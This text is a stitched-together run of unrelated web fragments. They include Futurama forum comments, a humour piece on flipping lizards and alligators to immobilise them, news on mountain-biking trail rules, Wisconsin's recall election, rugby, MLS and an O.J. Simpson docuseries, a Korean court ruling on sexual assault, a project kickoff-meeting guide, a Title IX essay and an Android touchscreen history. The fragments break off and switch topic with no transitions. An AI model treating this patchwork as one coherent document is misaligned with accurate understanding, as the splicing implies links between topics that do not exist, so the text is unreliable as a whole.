#3 by LeftistHominid
This totally pisses me off. CC should not mess with the episode orders...
#4 by Grve66
Nuetopia is real good. And Benderama is pretty funny.
that's all I will say.
and the episodes are not in series. so they can pick and choose if they want..
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A lizard depends on muscles in its throat and torso to contract and expand the lungs to keep oxygen flowing in the body (it doesn't have a diaphragm). When it's on its back, the weight of its limbs put abnormal pressure on these muscles and they can't do their job properly. Exacerbating this is your damn finger poking at its belly and throat.
It couldn't be simpler: You put the lizard on its back, then rub its throat and belly. It will go completely limp in your hand.
On the hierarchy of animal adorableness, lizards barely squeak in above spiders and hairless moles. They have all the writhing ugliness of a snake, but they are also equipped with dinosaur feet and eyes that act independently of one another. Fortunately for you, and for nature, there's an easy way to incapacitate them long enough to pretty them up a little with some tiny sunglasses and a cabana hat -- assuming you have those things.
1 Turn Off an Alligator by Flipping It
Alligators don't swim as much as they drift lazily through water, much like that creepy guy who hangs out at public pools, except without the beer koozie or the wake of body oil. That languid glide of alligators is deceptive, however, because they are certainly much faster when they want to rip your arm out of its socket -- and it's impossible to tell which mode they're in. Well, it turns out there's a way to make sure that the alligator stays drugged-up and on autopilot, and never enters predator mode -- but it requires some courage.
Photos.com
Because they occasionally burst into song.
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To hack its brain, you'll first have to approach it from the back, avoiding the teeth, and hold its jaws together. That sounds harder than it is -- the alligator can clamp down with an amazing amount of pressure, but is surprisingly bad at opening its mouth when any kind of force is applied. Once you have a good grip, you'll have to turn the alligator onto its back. Here's how that's done by the pros:
This feels like a good time to point out how incredibly dangerous this is. Even the alligators that don't want to eat you, generally don't like being touched and they'll let you know by murdering you. But if you can manage to get an alligator on its back, you can send it into a sort of hibernation where everything in its body slows and it can't be bothered to do anything but lie there.
Why it Works:
Unlike pretty much every other animal affected by these odd brain hacks, alligators actually voluntarily use this "skill" in everyday life. When, for instance, an alligator feels threatened by an oncoming boat, it submerges into water and its heart-rate drops from 35 beats-per-minute to two. It becomes perfectly motionless, which is in effect what is happening when we turn it over on land; it's re-enacting what happens when it feels threatened in water.
Outside of the water it is, of course, a pretty useless defense but one that still takes over as a means of protection. Fortunately, alligators don't have a lot of natural predators on land other than humans, so falling into this state of paralysis isn't a trait that's been weeded out over the centuries. So keep in mind if you try this: You're banking that your alligator doesn't happen to be part of the first generation that finally figures out what we're doing.
You can read more from Kevin at the splendidly named Cabbage or follow him on Twitter, if that's the sort of thing you're into.
A basic mountain bike, with 15 to 18 gears, costs $400 or less. But gussied-up versions from such noted Marin bike makers as Steve Potts, Charlie Cunningham and Gary Fisher have become status symbols that fetch as much as $3,500. There are even models with battery-operated automatic transmissions.
On any nice day, the finest of these specimens can be found bouncing up and down the fire roads that lace the Mount Tamalpais Watershed. Recently, Jack L. Vogensen, an accountant, and his wife, Rima Stromberg-Vogensen, were pedaling with their friend Tracy Brash, who raises escargots. ''We bought a used car so we could afford two $1,300 bikes,'' said Mr. Vogensen, who turned to mountain biking as a substitute for jogging. ''Now it's a substitute for everything else in my life.''
The trio said they resented bikers who violate the rules of the trail, but they admitted to speeding a bit and sometimes riding at night.
Other bikers, particularly teen-agers, are less circumspect. Earlier this year, Boulder banned mountain bikes from 12 of 16 wilderness trails. In Southern California last summer, the National Park Service, the state Department of Parks and Recreation and the Santa Monica Mountain Conservancy closed about 60,000 acres to bikers. Following two head-on collisions between bikers and horses in 1986 - one biker had to be evacuated by helicopter - the Mid-Peninsula Regional Open Space District, which controls 28,000 acres on the peninsula south of San Francisco, barred biking on many well-used trails. In April, the National Park Service imposed a fine of $25 to $50 for riding on paths not especially designated as bike trails; Federal wilderness areas are completely off-limits to all mechanized vehicles.
To protect their interests, bikers here have formed the Bicycle Trails Council of Marin, both to lobby and to educate fellow enthusiasts on proper etiquette. David Garoutte, the group's president, concedes that there are inconsiderate bikers. ''But 99 percent of us are responsible - we are ecology minded,'' he said. The council has joined with the Marin Municipal Water District, which controls 20,000 acres around Mount Tamalpais, to produce a slick brochure giving the rules: Don't exceed the 15-mile-an-hour maximum speed limit (5 miles an hour when passing), avoid trampling vegetation, yield the right of way to all other trail users. The Oregon Parks and Recreation Division has issued a ''Mountain Bike Guide to Oregon,'' setting out restrictions.
Baker is a 6-3, 215-pound product out of Arkansas who averaged 43.0 yards per punt over 27 games for the Razorbacks. He booted 27 punts of at least 50 yards, including a career-high of 60 yards. Meanwhile, 45 of his attempts landed inside the 20.
As a senior, Baker averaged 44.4 yards per punt, which ranked fourth in the SEC and 13th in the country. He blasted a punt of at least 50 yards in all but one game, while only three balls went through the end zone for a touchback.
Since the new E-plates aren't in the Cube Manager yet, I will list them here:
-4x T10.5
-1x T10.1
The E-plate mounting locations are marked with teal blocks in the pictures. Track mounting locations are marked in yellow blocks.
Pros:
- Able to equip different weapons to perform various roles on the battlefield.
- Plenty of armor up front to ensure that the pilot is almost always left with the back two tracks intact for hasty retreats.
- Rear tracks are mounted lower than front tracks, resulting in a forward lean, adding clearance and depression for the guns.
- Great turning speed, especially for her size.
- Mild triforcing around gun mounts and pilot seat.
- Great at climbing hills!
- Full comms suite (Radar, Jammer, Receiver)
- A sexy windshield!
Cons:
- Quite vulnerable from the rear. Although there is stil a good bit of armor behind the pilot, his location becomes VERY obvious when viewed from behind.
- When equipped with plasma, the design does not allow for weapon redundancy.
- Only one radar jammer.
- No Carbon 6 Rail Cannons (Why, FJ?)
Helen Situ Blocked Unblock Follow Following Nov 13, 2015
In July of 2014, I sold off all my furniture, gave away a ton of stuff to good friends, packed the remainders in a handful of FedEx boxes and moved from San Francisco to Orange County to join NextVR as one of its early employees (#4).
At the time, the responses from my friends and family were entirely supportive because they could see the enthusiasm in my eyes — but generally included an air of skepticism or confusion, “Virtual Reality? What’s that for? Something, something Facebook?”
My parents were certainly happy that I was moving back closer to home. They live in Irvine and NextVR is in Laguna Beach. But I could see where worry or apprehension showed through the cracks when they learned of the hours I was working or the response they got from family and friends when they told them that their daughter was working on a startup doing something with goggles that take you into other worlds. (Recently, I traveled to China and learned that the Cantonese words for Virtual Reality directly translate to “Magic Lens” — how awesome is that?!)
Fast forward to today —
From that first time I reached out in delight toward confetti while enjoying a Coldplay concert on stage to today, just months before the tsunami of consumer virtual reality devices releases (Oculus Rift, Playstation VR, HTC Vive, etc).. I have never been more excited about a technology, team, and product I am helping to build.
Virtual reality is the last medium. This is a technology and medium that is one of the most intimate ways to share and experience the world through. It is today’s method of teleportation. NextVR is somewhere that my skills and interests in technology, startups, and humans challenge me to grow more than I could imagine.
Speaking to 500+ virtual reality pioneers at the 2nd annual Proto Awards
I was terrified of public speaking and honestly, am still prone to mad butterflies before audiences today.
Enlarge this image toggle caption Jeffrey Phelps/AP Jeffrey Phelps/AP
The morning after Republican Gov. Scott Walker of Wisconsin handily rebuffed Democratic efforts to oust him, politicos in the state and beyond pored over exit poll data and turnout numbers to tease out:
A: How he did it.
B: Where Democrats failed.
My colleague Ron Elving, NPR's senior Washington editor, took a good shot at answering Question A Wednesday morning.
In an attempt to answer Question B, I sat down Wednesday with a group of Democratic activists in Waukesha, Wis., to get their take on why their hard-fought effort fell short, and what lessons they learned. (Similarly, I'm planning a later blog post on takeaways from the perspective of Don Taylor, longtime chairman of the Waukesha Republican Party, one of the most influential Republicans in the state.)
I'd met with these same folks in March, before the presidential primary — when the recall was in the making, but before a May primary that anointed Milwaukee Mayor Tom Barrett as Walker's Democratic challenger.
The mood Wednesday, obviously, was quite different. Those I spoke to were alternately exhausted, disappointed and combative. But reflective, too.
They say they're not angry with President Obama for avoiding recall politics, noting that his paid Wisconsin staff was involved in the recall effort. But they worried that the president's absence may have embittered or discouraged some volunteers the campaign will need for the competitive presidential race in November.
Here are the takeaways from our wide-ranging conversation:
Enlarge this image toggle caption Liz Halloran/NPR Liz Halloran/NPR
*Don't make assumptions about union households: Democrats at the table were stunned by the exit poll statistic showing that 38 percent of voters with a labor union member in the family voted for Walker. "You can't assume just because a person is a union member, they are also a Democrat," said Kristin Hansen, a volunteer here for Organizing for America, Obama's re-election organization. "I'm shocked because I thought the unions were talking to their people."
Though Walker pulled 37 percent of that same union household vote in 2010, Hansen and others say they believed that his rollback of public union collective bargaining rights would have diminished his support. They even told of hearing stories of just that scenario. "We were taking anecdotal stuff and assuming it was representative," said Mary O'Herron, a retired rural letter carrier. "A lot of people are union on paper only."
*Stricter voting registration laws are affecting turnout: Republican efforts in Wisconsin to enact a law that would require voters to present identification at their polling places are currently on hold while under court scrutiny. But myriad other ballot and voter registration changes enacted by the GOP-controlled Legislature since Walker was elected in 2010 have limited opportunities for registering voters.
New rules expand blackout days for voter registration efforts from 10 days before an election to 20 days; set an earlier deadline for absentee or early voting; and expand residency requirements from 10 to 28 days. The rules also eliminate statewide voter registration volunteer training, and now volunteers need to receive separate training in each municipality where registration drives will be held.
The new deadlines and blackout days meant that Democrats had just eight days after Barrett's primary win in which to register new voters. The upside? "It creates a sense of urgency for volunteers — which is good," Hansen said.
*Voter distaste for recalls is real: In the waning days of the campaign, Walker ran compelling ads of testimonials from Democrats who didn't vote for him in 2010 but who opposed the recall on principle. That distaste was evident in the numbers: Exit polls showed that fewer than a third of voters thought recalls were appropriate for any reason; 60 percent said they were only appropriate for "official misconduct."
It was a sentiment that Democrats didn't tap into, or combat. "I don't think we did anything about it," said Bruce MacIntyre, a retired professor. "We knew it was out there, but we didn't have any talking points" from the Democratic Party or the Obama campaign. Said Hansen: "We assumed that anyone who would support Obama would support the recall, so we weren't making persuasion calls; we were making get-out-the-vote calls."
And the recall effort had become an unstoppable organism, driven by grass roots and the petition time clock, activists say, before its potential peril could be polled and assessed. Exit polls showed Obama running ahead of GOP presidential candidate Mitt Romney, 51-44 percent. Walker won the votes of 17 percent of Obama supporters.
*Ignore Hispanic and first-time voters at your peril. And remember that presidential-only voters often live up to their reputation: The local Obama campaign just brought on its first bilingual field organizer in the Waukesha area, where Republicans have made strong inroads with the Latino community. "We just didn't have the staff this time," MacIntyre said. "We need leaflets in Spanish, and a strong visible volunteer from that community who is our face in the community."
There were half a million fewer voters Tuesday than in the 2008 presidential election. "Why not now focus on those 500,000 who didn't vote?" said Scott Trindl, a volunteer with Obama's re-election campaign.
Despite the hindsight, MacIntyre said he racked his brain Tuesday night to think of what, in their control, volunteers could have done to change the outcome. "I couldn't think of one thing," he said.
Ringrose has played 11 times for Leinster this season. Source: Inpho/Billy Stickland
Luke Fitzgerald was yesterday ruled out of the entire Six Nations campaign after he suffered a knee injury during last week’s open training session at the Aviva Stadium.
Ringrose is not thought to be a permanent replacement for Fitzgerald in Ireland’s Six Nations squad at this point, but the experience of training with Schmidt’s men will be valuable nonetheless.
While the 21-year-old missed out on selection in Schmidt’s original 35-man squad for the Six Nations, it was always likely that he would be involved at Carton House in some capacity as he looks to build his experience.
Ringrose’s first involvement with Schmidt’s senior squad came in November 2014, when he spent a week with Ireland having impressed for the Ireland U20s at the previous summer’s Junior World Championships.
The former Blackrock College centre has trained with Ireland on a number of other occasions since and Schmidt last week stated he has tried to encourage the highly-promising midfielder “to be an extra part of the squad.”
Explaining Ringrose’s absence from his official Six Nations squad, Schmidt pointed out that Wales’ starting midfield this weekend will feature two massive physical specimens with a multitude more experience than the Leinster man.
Ringrose set up a gorgeous Leinster try against Munster in December. Source: Billy Stickland/INPHO
“Is putting him in against 110 kilos of hurtling Jamie Roberts or the 104 kilos of footwork and fend that Jonathan Davies can deliver, or is it sitting in the squad and not playing, or is it him building that confidence that he’s started to demonstrate through the PRO12 and one European start?” said Schmidt.
This is a great window for him to get game time. It doesn’t mean we’re not investing in him. We’re investing in him because playing that PRO12 rugby is an opportunity for him to keep going.”
The Galaxy NX has a 20.3-megapixel APS-C sensor, ISO sensitivity up to 25,600, 1080p video recording, and a 4.8-inch 720p touchscreen. It is powered by a 1.6GHz quad-core Exynos processor and runs Android 4.2.2 with full access to Google services. The camera has WiFi, of course, but there should also be LTE connectivity. Although, Samsung neglected to mention it in the PR. Odd.
Episodes rite clik on teh link n select "Save Target As..."
Episode 1 - The Life of a Pro Gamer
Pure_Pwnage_101.avi - DivX 5 384x256 (71.7MB - 13m:14s)
Episode 0 - Preview
Pure_Pwnage_Preview.avi - DivX 5 400x270 (11.3MB - 2m:00s)
IF teh video dun play, THEN make sure u got teh latest DivX
thnaks 2 cncreplays 4 hosting teh big ass filez
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i pwn noobs liek hard rite n my roomate has dis camera rite so hes all liek 'we can make a show lol' n im liek dats teh pwnage n stuf n hes liek i no lol so im liek ok film me noob n hes liek ok so we did lololol
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teh site is kinda noob rite lol but dats only cuz i pwn 2 much @ zero hour 2 waste tiem noobin html roflolol
neway dis is alreddy 2 long n most noobs prolly wont reed it cuz its so long its liek a book rite lol so l8r noobs rofl
Television's fascination with the O.J. Simpson trial is adding a third series.
Martin Sheen will executive produce Hard Evidence: O.J. Is Innocent, a new true-crime docuseries that will attempt to show that Simpson is innocent.
In a competitive move, Investigation Discovery — the cable network known for its crime, mystery and documentary programs — has picked up the six-part entry that will reinvestigate the Simpson case from beginning to end.
The show will reveal critical new evidence in the slayings of Nicole Brown Simpson and Ronald Goldman, as well as unveil an entirely new hypothesis for what happened in Brentwood 20 years ago. While Simpson was acquitted in the so-called "Trial of the Century," he was found liable in a civil suit two years later, and questions about his role in the slayings remain widespread.
In addition to exec producing, Sheen will narrate the series. (An existing contract with Netflix for scripted comedy Grace and Frankie prohibits him from appearing onscreen elsewhere.) Hard Evidence will largely be based on more than two decades of dogged legwork by Texas private investigator William C. Dear, whose book, O.J. Is Innocent and I Can Prove It, presents “never-before seen evidence” and a compelling alternative theory in a case most people have long thought resolved.
Investigation Discovery landed the project following a multiple-network bidding war that counted players including Amazon over the past two months. “All of the major players were looking,” says ID Group president Henry Schleiff, who noted other bidders included premium cable. Objective Media Group America/All3Media America will produce, with Jimmy Fox, Greg Lipstone and Layla Smith set to exec produce alongside Sheen and Dear.
Martin Sheen is represented by ICM Partners. Objective/All3Media is represented by ICM Partners and Hansen, Jacobson, Teller, Hoberman, Newman, Warren, Richman, Rush & Kaller, L.L.P. Bill Dear is represented by ICM Partners, Sally C. Helppie, Esq. and Vincent Serafino Geary Waddell Jenevein, P.C.
Schleiff, who used to work at Court TV (sometimes mockingly referred to as the “O.J. Network” during the trial) knew Simpson and yet, like most people, believed the former NFL Hall of Famer was guilty, despite an acquittal in his criminal trial. But when Dear presented Schleiff with examples of evidence he had uncovered during his 20-year “obsession” with the case — including a knife the investigator believes is the actual murder weapon, medical and forensic reports and a trove of other physical material the investigator claims LAPD never examined — Schleiff says he was forced to reassess.
“Like most others I had always believed that the evidence showed that [O.J.] did it,” Schleiff says, “I went into this with a tremendous amount of doubt and cynicism, but this is so amazingly convincing that when you do connect the dots and look at the new evidence, it made me accept the fact that O.J. could actually be innocent.”
Sheen noted he hoped the series will help answer three central questions: “What if there were enough evidence that proved O.J. Simpson did not murder his ex-wife Nicole or Ron Goldman? What if the real killer were still at large? And finally, what if a grand jury convened to reconsider the case based on new evidence?”
After 20 years of relative quiet, interest in the Simpson case has reached new peaks of late with FX critical darling The People v. O.J. Simpson: The American Crime Story. This summer, ESPN will air its five-part docuseries O.J.: Made in America.
And interest in the case continues beyond the small screen, when excitement reached a fever pitch this month when the LAPD announced that a knife had been discovered on Simpson’s now-demolished property and that it was never disclosed to police. It has since prompted renewed speculation about the murder weapon. The knife was soon found to be unrelated to the slayings of Simpson and Goldman. Inside Edition, meanwhile, recently tracked down the whereabouts of the iconic white Bronco, which O.J. rode into infamy in perhaps the most famous car chase of the 20th century. Former O.J. associate Michael Gilbert is storing it in his garage in central California.
Dear and Sheen have been working together for more than a year, honing their pitch, and the pair recently began shopping the idea around Hollywood as The Hollywood Reporter exclusively reported last month. Interest was immediate and intense, people familiar with the deal say. The two met through the actor’s son, Charlie Sheen, who invited Dear out to Los Angeles several years ago to speak to a private audience about his work on the Simpson case.
For his part, Dear has high hopes for what the series will deliver. “I’m hoping that when we do this series, the evidence should be more than enough to get a grand jury indictment,” he tells THR. “If I accomplish that, I will have accomplished a great deal in my life. I’ve done the best I can and I’m excited about the fact that finally I can get it out there.”
While there’s no production schedule yet, ID plans to air the series in the first quarter of 2017. Network execs declined comment on the sale price, but Schleiff acknowledged that they weren’t going to skimp on producing Hard Evidence.
As it turns out, the Galaxy will need to grease the wheels with the New England Revolution a bit to make that move a reality.
According to a report from Goal.com, the Galaxy have been in talks with Lletget for months, but the Revolution filed a discovery tag on the player before the Galaxy could make a move on it. Under the most recent iteration of discovery rules, the Galaxy must offer the Revs $50,000 in allocation money in order to force New England to offer Lletget a contract or allow LA to make an offer.
Packwood trialing with the Revs Concord, MA native Will Packwood is coming on trial in Foxboro next week.
Lletget is another player (like Packwood) with great youth international experience who is not on the master allocation list, and thus would not be subject to the allocation order when coming to MLS.
From the looks of things, the Revolution may have engaged in some deviousness here. It is of course possible that they filed their discovery claim a long time ago, or that they did so without knowledge that Los Angeles was making overtures, but it's certainly conceivable that the Revs might have slapped the tag on him solely because the opportunity was there and they could force the Galaxy to pay up.
If that's the case, Mike Burns and company deserve some praise for shrewd and ruthless dealing. Bravo.
There is always the very outside shot that the Revs would look to negotiate with Lletget themselves. He plays attacking midfield, where there is currently a logjam of talent with Lee Nguyen, Kelyn Rowe, Daigo Kobayashi, and Steve Neumann all competing for minutes, so it seems unlikely. That said, if Nguyen's contract situation goes further south, Lletget would be a possible replacement.
On January 31, the Criminal Division of the Uijeongbu District Court revealed that “A” is in court custody, and has also been ordered to 40 hours of sexual violence treatment courses in addition to his prison sentence.
“A” was originally indicted in 2016 for what occurred back in March 2014. “A” first tried to force himself on “B,” who was a trainee at the time, after they wrapped up filming for a music video and had a few drinks. They were in his car’s backseat while a designated driver drove them, when he first forcibly assaulted her, and he indecently touched her once more after they got out of the car later, saying, “I want to check whether you have had plastic surgery on your chest.”
According to the prosecution, “A” sexually assaulted “B” again in a karaoke room later the same year, in August 2014.
During the first trial which took place in October 2016, the court originally found that the trainee’s testimony regarding the sexual assault was not credible enough, stating that “B” continued to perform at various events and signed an exclusive contract with the agency “A” is CEO of in April 2014. Therefore, the court ruled that “A” was innocent of sexually assaulting the trainee, which was appealed immediately.
However, the court presiding over the appeals trial ruled differently.
They called attention to the fact that “B” was older than the typical trainee (32 years of age by Korean reckoning), and that there was a higher risk of scrutiny from younger trainees. They stated that it’s understandable she didn’t speak out right away even after she debuted since it could negatively influence her career.
In addition, during the appeals trial, CEO “A” was inconsistent about who was driving, claiming it was him at first during the first sexual assault incident. He was also found to have reportedly said before the assault, “Trainees and agency CEOs have to sleep with each other.”
The court ultimately judged, “‘A’ used his position as a CEO to persistently exploit an aspiring singer, and showed no signs of remorse [for his actions] by pleading ‘not guilty,’ given the nature of his crime.”
They further explained that they found CEO “A” guilty of sexual assault because they took into consideration that sexual assault cases involving those in the entertainment industry happens often, and there must be a severe consequence for such actions.
Phone giant AT&T and national satellite operator DirecTV are expecting the OK for their $49 billion tie-up from the Federal Communications Commission any day now, but cable operators want some conditions to protect them from rising sports costs.
In an ex-parte submission, the American Cable Association, which represents hundreds of regional cable operators, wants to see the FCC provide them some protection from big price increases by DirecTV-owned regional sports networks.
DirecTV owns Roots Sports Network, which operates in the Northwest, Pittsburgh, the Southwest and Rocky Mountain region.
Collectively, they are expected to earn $499 million in affiliate revenue, according to SNL Kagan.
The channels cost distribution partners from $2 to $3.77 per subscriber per month. Roots Sports Southwest, for example, hosts the NBA’s Houston Rockets and MLB’s Houston Astros, making it a must-have for local cable operators.
“We have been very concerned that DirecTV will soon start acting on its incentive to extract higher prices from us in our next carriage talks,” read a letter signed by 27 cable operators and sent to FCC Chairman Thomas Wheeler on Thursday.
AT&T and DirecTV have already agreed to offer low-cost stand-along broadband to low-income households in order to push through regulatory approval.
While Comcast faced a slew of negative press surrounding its abandoned attempt to acquire Time Warner Cable, the AT&T/DirecTV get-together has been a quieter process.
“I am not a fan of the transaction, it is more media consolidation. I see it as elimination of competition in the MVPD market,” Former FCC Commissioner Michael J. Copps, told The Post.
But before you start thinking about the client project kickoff meeting, have you met with the client and had a proper internal project kick-off meeting?
If you haven’t already, bookmark this page and check out our Kickoff Meeting – The complete guide to starting projects right where you’ll discover our top tips and tricks for nailing project kickoffs. And be sure to read through to the end of this post where you’ll find a FREE project kickoff meeting agenda template.
Now, back to that client project kick0ff meeting agenda, here are a few pointers to remember along the way.
1. Be careful who you invite to prevent meeting-bloat
Well before you schedule the meeting, think carefully about who you want to be there and who’s going to make the meeting a success. When there are too many people in the room you can end up with meeting-bloat which can cause total meeting paralysis.
With too many people in the room, a meeting can become totally ineffectual when no one is quite sure who’s ‘supposed’ to do the talking and say what so no one ends up saying anything useful. And in those instances you usually end up with just one or two people doing the talking anyway, so why not just invite them?
On the other hand, if you end up meeting and not having the right people there, it too will end up as total a waste of time. Keep the invites to a minimum but make sure the important people are there – if they can’t make it, reschedule. It’s better to delay and do the meeting properly rather than doing the same meeting twice – that wastes even more of people’s time and will very quickly start eating through budget unnecessarily.
2. Be prepared and make a good first impression
Don’t just rock up to a kickoff meeting hoping that everything will probably be fine and you can just wing it. It requires some thought and preparation.
There’s nothing worse than a project kick-off meeting where nobody is any the wiser or gets anything from it. It’s all too easy to have a meeting and talk lots but not actually be any nearer to being able to start a project because you didn’t get the information you needed.
So make sure you’re absolutely clear on the objective of the meeting. Then ensure you’re aligned with your client counterpart. Sometimes a meeting is really just a glorified meet and greet, and sometimes that’s fine. But if you want to make the meeting useful, be clear on what you think the next/first steps should be on the project and work out what you need in order to make that happen.
3. Set a clear agenda
Once you’ve defined your objectives for the kickoff meeting, work on developing an agenda which allows you to meet those objectives.
When running kickoff meetings we’re trying to answer the basic questions:
Why – Why are we doing this project in the first place? What business need does it satisfy? How does this project meet a consumer need?
– Why are we doing this project in the first place? What business need does it satisfy? How does this project meet a consumer need? What – What’s the solution? What are we going to do / make?
How – How are we going to work together to make the project happen?
– How are we going to work together to make the project happen? When – When are we going to do it?
– When are we going to do it? Where/Who – Where is the starting point for kicking things off? Who’s going to do what?
Below is a sample agenda for a kick-off meeting, although I wouldn’t format it like this in a meeting, I’ve divided it up into the sections outlined above to make it clear how these agenda points correspond to them:
Introductions – if possible, include an office tour, get the client to meet the team who will be working on the project
Why
The Big Picture – try and get the client to explain the overall context to the brief
Project Briefing – get the client to describe what their business problem is and the consumer’s need and the business’ solution
Success – understand how we will know if we’ve been successful and if possible, any failures from the previous vendor
Review business & user goals
Review priorities dependencies & constraints
What
SOW (Scope of Work) Discussion – discuss what the approved budget covers, and what it doesn’t
Process review – review the process that will be undertaken to achieve the business goals, and satisfy the consumer need
Requirements – if possible have a co-creation requirements gathering session to begin to flesh out requirements
How
Review communication plan – discuss how, and how frequently you communicate project status
Discuss Risk, Issue and Change Management – understand the client’s attitude to risk and define your approach to manage it
Review roles & responsibilities – establish who’s the day to day contact, and who should be communicated to
Review client project governance – understand who’s actually calling the shots, and understand how long it’s going to take to get their approval on deliverables
When
Review Timings – ensure everyone’s clear about what’s happening, when
Where/Who
Discuss next steps – where do we go from here? What’s the starting point? Identify who’s responsible for what, and when they need to do it by
Question & Answer session – give people a chance to raise anything that hasn’t already been covered off
4. Have a pre kick-off, kick-off
I’ve found kick off meetings where there’s more than 5 people in the room tend to go better if the meeting isn’t the first time that people are meeting together. Once you’ve completed your agenda, don’t just sit on it and feel smug. send it in advance to your client and, get feedback ask them what else they want to discuss and begin a dialogue on the meeting content will before the meeting happens.
If at all possible find an excuse to meet up with the client before the kickoff meeting to talk about it with them. As important as meeting up with the client beforehand, ensure you meet up with your team and run through the project so that it’s clear that everyone’s understands the agency’s perspective before you start. Doing this will also help you shape the meeting and prepare for how you’re going to run the meeting.
5. Keep things running smoothly in the project kickoff meeting
When it comes to the project kickoff meeting itself, as a project manager it’s your job to make sure you and your team are prepared. Set up the room properly, make sure the projector’s working, make sure reception knows the names of the clients attending. Have your agenda printed and refreshments ready. Kick-off meetings can sometimes be a bit ‘cold’ so have something to ease people in. Have a deck, or something to show and share, maybe a new technology you think could be applicable to their project or even just a related project just to get people talking.
Finally, don’t forget to write a contact report as you go along to capture all your discussions.
Project kickoff meeting resources
This is a great site which contains details on games and tasks for co-creation in kick off meetings http://goodkickoffmeetings.com
And don’t forget to check out our Kickoff Meeting – A complete guide to starting projects right where you’ll discover our top tips and tricks for nailing project kickoffs
What do you think?
Title IX, which prohibits discrimination “on the basis of sex,” says nothing about bathrooms. But a federal regulation from 1975, three years after the passage of Title IX, clearly says that schools may segregate bathrooms “on the basis of sex.” As questions grew about what, exactly, that meant for transgender students, the Obama Education Department’s Office for Civil Rights issued informal letters stating that schools are obliged by statute and regulation to treat transgender students’ gender identity as their “sex.” In other words, the term “sex” in the phrase “on the basis of sex” meant “internal sense of gender.”
The Supreme Court was supposed to decide whether the agency’s interpretation should get deference, even though it was expressed informally rather than through proper legal regulation. But even in its most deferential mode, the Supreme Court is hardly likely to defer to a position the government now explicitly won’t defend. The Court has asked both parties in the case to submit, by Wednesday, their views on how the case should proceed in the face of the government’s changed position. This request means the Court is considering dismissing the case, because the retraction now makes it a bad vehicle for clarifying the deference issue, or sending it back to the lower court—where Grimm won—to reconsider in light of the change.
Both parties, however, will likely want the Court to decide the case this term—to put aside deference to the agency’s interpretation and just tell us directly what Title IX means. For the school board, a dismissal would leave in place a lower-court decision in which it lost. And in a redo, the lower court isn’t any more likely than the Supreme Court to decide for the school board. That is especially true if the Supreme Court chooses to extend the schedule, as it has already done once in the case, and Neil Gorsuch is confirmed in time to participate; Gorsuch favors interpreting legal texts strictly, and the relevant texts here mention “sex,” not gender identity. For the A.C.L.U. lawyers representing Grimm, the best hope for progress on transgender rights is a declaration by the Supreme Court that Title IX’s ban on sex discrimination requires schools to treat transgender students in a way that is consistent with their gender identity. That would be better than waiting to see what further moves the Trump Administration makes on transgender students. A loss in the Supreme Court is perhaps not any worse than what the Administration may have in store.
There is an emerging consensus that the Court will dismiss or remand the case. But there are also reasons to believe that the Court will just decide it. The Justices know that not deciding leaves immense uncertainty about the meaning of a key federal statute, fuelling an increasingly nasty and polarizing controversy around which facilities transgender students should use. That uncertainty is needlessly harmful to students and unsettling for schools. This is not to say that a fractious public debate over what constitutes discrimination against transgender people can be fully resolved anytime soon, much less by the Supreme Court. But it would be senseless for the Court to step away from resolving the issue of whether, and how, Title IX addresses transgender bathroom access, in a case that squarely presents it and that the Court has already agreed to hear.
As I have written before, we should seriously question the reasons for gender-segregating bathrooms in the first place. But as long as we do segregate, the morally correct result is one that does not force children to use school bathrooms for the opposite gender, given the humiliation it may cause to those who already struggle to be accepted in school. Title IX’s language does not offer a slam-dunk in favor of that outcome. There is, however, enough ambiguity there to enable the Supreme Court, considering the statute’s broad anti-discrimination purpose, to interpret the phrase “on the basis of sex” to encompass gender identity for the purpose of school bathrooms. To put a fine point on it, Justice Kennedy could well write such an opinion, joined by four liberal Justices, much in the vein of his inspired decisions recognizing protections for gay rights even where legal bases were less than crystal-clear. So, once again, Justice Kennedy holds the key to a divided social issue.
If the Obama Administration had issued a binding regulation rather than explicitly nonbinding letters, its protection of transgender students could not have been so easily undone. But a letter is easy to issue, and the Administration may have feared that a proposal to enact a regulation on transgender students would face pushback and take up a lot of time and resources. The Trump Administration’s quick retraction of the previous guidance perfectly illustrates what is wrong with this approach—and with the argument that agencies should get deference on informally expressed views. Imagine if the Education Department now wanted to go beyond the retraction and try to enforce a policy of requiring schools to treat all students according to their genitals, chromosomes, or sex assigned at birth. On such a controversial issue, we would not want the agency to act the way it did during the Obama Administration, threatening to enforce an interpretation of federal law without considering comments from the public. We would want them to go through the hard and revealing work of the formal process, which takes into account public views—and also makes the result more legitimate and more difficult to retract. If the Trump Administration fails to do that work, courts should not defer to its guidance, either.
At this moment, though, it is important to remember that the Trump Administration’s current position is limited to withdrawing Obama’s guidance. It does not mean that schools must treat transgender students in a way that is inconsistent with their gender identity, and it will be harmful to transgender students to speak as if it does. In some states, such as Washington, the withdrawal of the Obama transgender guidance has no practical legal consequence, because the state already mandates access to gender-corresponding bathrooms for transgender students. That provides a clue to what we will see next: efforts at the state and local levels to codify the very policies that are being abandoned federally. Some states, anticipating the Office for Civil Rights’ withdrawal of its guidance, from 2011, on how schools should investigate and adjudicate allegations of sexual violence between students, already have legislative proposals to codify the most controversial aspects of that letter.
Google originally didn't plan to support touch screens for its mobile operating system, Android -- and then along came the Apple iPhone.
Revealed last week as part of the latest legal battle between Apple and Samsung, a document called "Android Project Software Functional Requirements" described the concept for Android before the iPhone was unveiled. Android early on was based on Sun's Java running under Linux and wasn't keen on touch-screen support.
"Touchscreens will not be supported," Google said in a copy of the July 2006 document received by CNET. "The product was designed with the presence of discrete physical buttons as an assumption. However, there is nothing fundamental in the product's architecture that prevents the support of touchscreens in the future."
But that lack of support apparently changed after Steve Jobs presented the iPhone to the world in January 2007.
After the debut of the iPhone, Andy Rubin, then Google's director of Android, reportedly nixed the phone that the company already had in the works, as described in Fred Vogelstein's book "Dogfight: How Apple and Google Went to War and Started a Revolution." That phone would have used physical keys instead of a touch-screen keyboard.
Google's Android planning document also did an eventual about-face on the issue of touch-screen support. Apple launched the iPhone in June 2007. A major update to the Software Functional Requirements document made in November of 2007 added the following:
"A touch screen for finger-based navigation -- including multitouch capabilities -- is required. Stylus-based navigation is not supported."
In the end, touch-screen support took a while to implement, AppleInsider noted. Launched in October 2008, the Android phone T-Mobile G1/HTC Dream included hardware support for multitouch but not actual touch typing. Software support for multitouch didn't arrive until late 2009 with the launch of Android 2.0.
Last week, Apple stated its case in its latest patent-infringement lawsuit against Samsung in which the iPhone maker is seeking $2.19 billion in damages. Though aimed at Samsung, the suit is actually Apple's way of accusing Google of stealing its ideas for the creation of Android. Testifying last week, a Google executive said that the company never copied features from the iPhone to use in Android.
